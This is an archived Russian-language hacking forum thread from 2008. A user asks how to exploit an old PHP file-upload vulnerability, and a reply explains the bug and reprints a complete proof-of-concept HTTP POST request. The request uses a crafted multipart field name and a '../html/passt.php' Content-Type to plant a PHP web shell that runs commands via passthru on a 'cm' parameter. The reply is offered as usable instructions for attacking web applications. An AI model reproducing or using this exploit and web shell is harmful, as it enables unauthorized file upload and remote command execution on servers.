PDA

Просмотр полной версии : remote arbitrary file upload vulnerability


gesik
03.08.2008, 22:32
PHP unspecified remote arbitrary file upload vulnerability

An unspecified remote arbitrary file upload vulnerability has been reported for this version of PHP.

Affected PHP versions (up to 4.3.8/5.0.1).

This vulnerability affects PHP.
The impact of this vulnerability
Upload arbitrary files.


Может кто-нить обьяснить как пользоваться этой уязвимостью или кинуть сылку на FAQ или видео?

[Raz0r]
03.08.2008, 23:17
Уязвимость довольно старая, но опасная, если тебе удалось найти уязвимое веб-приложений (предположу, что сведения об этой баге ты получил от Acunetix Web Vulnerability Scanner)
PoC для этой уязвимости:
http://www.securityfocus.com/archive/1/376865
Бага заключается в том, что при специально составленном HTTP-запросе существует возможность обхода проверки интерпретатором PHP имени загружаемого файла, что может привести к загрузке файлов с произвольными именами в любые директории (естественно, если хватает прав). Подробного описания причин уязвимости автор не дает, известно лишь, что она возможна ввиду ошибок обработки массивов в самом интерпретаторе.
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php

<?
passthru($_GET['cm']);
?>

-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream

<?
passthru($_GET['cm']);
?>

В PoC необходимо обратить внимание на name="user[file[type]123"; и Content-Type: ../html/passt.php, что собственно и эксплуатирует уязвимость, заставляя PHP принять файл с именем passt.php вместо p.php.